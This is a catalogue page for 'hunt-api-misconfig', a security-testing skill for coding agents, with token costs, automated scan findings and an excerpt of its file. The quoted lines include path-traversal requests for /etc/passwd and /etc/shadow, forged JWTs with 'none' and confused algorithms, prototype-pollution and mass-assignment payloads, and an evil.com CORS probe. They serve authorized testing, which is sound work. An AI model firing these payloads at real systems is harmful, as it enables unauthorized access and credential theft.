hunt-api-misconfig

hunt-api-misconfig is a skill for Claude Code, Codex from uphiago/recon-skills. It costs 193 tokens per session (7,088 once invoked), scanned C, original, MIT.

A security-testing guide for common API configuration mistakes, including mass assignment, JWT verification errors, prototype pollution and unsafe cross-origin settings.

In plain words
What is it for?
It is for assessing JSON APIs and authentication layers for privilege escalation, token attacks, prototype pollution and credential exposure through CORS.
Why use it?
It gives testers concrete checks for cases where an API trusts user-controlled fields, tokens, object properties or browser origins too much.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is curl --max-time 30 --connect-timeout 10 "https://target.com/api/export?format=pdf&format=../../etc/passwd".

Good fit It is for assessing JSON APIs and authentication layers for privilege escalation, token attacks, prototype pollution and credential exposure through CORS.

Compare 6 skills from other repositories ↓
About the project

Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.

uphiago/recon-skills · 1,408 stars · on GitHub · hiago.sh

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/uphiago/recon-skills
agentmods
npx agentmods add skills/uphiago/recon-skills/hunt-api-misconfig

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt-api-misconfig

README.md
[![agentmods](https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-api-misconfig/github.svg)](https://agentmods.dev/skills/uphiago/recon-skills/hunt-api-misconfig)
Your own site
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-api-misconfig"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-api-misconfig/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for hunt-api-misconfig

Your own site · 80×15
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-api-misconfig"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-api-misconfig.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 193 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 7,088 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 5 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 12 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Privilege Escalation · line 100
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 345
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 195
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 196
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Supply Chain · line 224
    Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
    Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
  • high Privilege Escalation · line 346
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Supply Chain · line 372
    Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
    Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
  • medium Data Exfiltration · line 224
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 245
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 372
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 398
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 430
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00193 $0.07088
Opus 5.5 $0.00077 $0.02835
Sonnet 5.5 $0.00039 $0.01418
Haiku 4.5 $0.00019 $0.00709

Measured 23d ago against content hash 6378007a84f3, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

hunt-api-misconfig scanned grade C with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 23d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl --max-time 30 --connect-timeout 10 -s -X PATCH "https://httpbin.org/patch" -H "Content-Type: application/json" -d '{"role":"admin","is_admin":true}' | python3 -m json.tool 2>/dev/null | head -10 || echo "(httpbin ma

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

curl --max-time 30 --connect-timeout 10 "https://target.com/api/template?name=report&name=../../../etc/shadow"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl --max-time 30 --connect-timeout 10 -s -X PATCH "https://httpbin.org/patch" -H "Content-Type: application/json" -d '{"role":"admin","is_admin":true}' | python3 -m json.tool 2>/dev/null | head -10 || echo "(httpbin ma

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- Tooling: `curl`, `ffuf`, `httpx`, `jq`, `kiterunner`, `python3`, `shodan`.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

- **`hunt-rce`** — Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reach `child_process.spawn`. Chain primitive: Prototype pollution (`__proto__.shell=true`) + `hunt-rce` (Node.js gadget ch
redteam/hunt-api-misconfig/SKILL.md · 470 lines

How it starts

The opening of the file, as written. The whole thing — 470 lines — stays where its author put it; the contents beside it link to each section on GitHub.

When to Use

  • Hunting API misconfigs, JWT flaws, mass-assignment, prototype pollution.

Prerequisites

  • Explicit authorization, target boundaries, and rate limits for the target.
  • Tooling: curl, ffuf, httpx, jq, kiterunner, python3, shodan.
  • A writable evidence directory: export OUTPUT_DIR="${OUTPUT_DIR:-./output}" && mkdir -p "$OUTPUT_DIR".
  • For any state-changing step (writes, uploads, credential attempts), obtain explicit confirmation immediately before the command.

How to Run

# Test: reflected origin + credentials
curl --max-time 30 --connect-timeout 10 -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses

Procedure

The phases below are the procedure. Keep each probe bounded (--max-time), record evidence beneath OUTPUT_DIR, and stop at the stop-conditions listed in Pitfalls.

12. API SECURITY MISCONFIGURATION

Mass Assignment

User.update(req.body)  // body has {"role": "admin"} → privilege escalation

JWT None Algorithm

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature

JWT RS256 → HS256 Algorithm Confusion

# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it

Prototype Pollution

// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin

CORS Exploitation

# Test: reflected origin + credentials
curl --max-time 30 --connect-timeout 10 -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses

Read the full file on GitHub · 470 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 23d ago Changed · +25 lines 6378007a84f3
  2. 2mo ago First seen · 445 lines · 193 tokens per session scan C 789207888d82

Subscribe to this mod's changes

hunt-api-misconfig is a skill published in the GitHub repository uphiago/recon-skills (1,408 stars, last pushed 23d ago), licensed MIT. It adds 193 tokens to every session and 7,088 once invoked, about $0.0008 per session on Opus 5.5. A static security scan graded it C with 5 findings (sends data to an external url, reaches for credential files, downloads and executes remote code). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

hunt-api-misconfig compared with skills from other repositories

hunt-api-misconfig next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
hunt-api-misconfiguphiago/recon-skillsSkill1.4k23d agoMITC193Claude Code, Codex
securing-api-gateway-with-aws-wafxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A59Claude Code, Codex
performing-aws-privilege-escalation-assessmentxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A54Claude Code, Codex
performing-cloud-penetration-testing-with-pacuxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A51Claude Code, Codex
api-32-graphqlvigilantshield/Claude-HunterKitSkill64mo agononeA58Claude Code, Codex
api-01-spec-ingestionvigilantshield/Claude-HunterKitSkill64mo agononeA48Claude Code, Codex
api-03-auth-profilingvigilantshield/Claude-HunterKitSkill64mo agononeA62Claude Code, Codex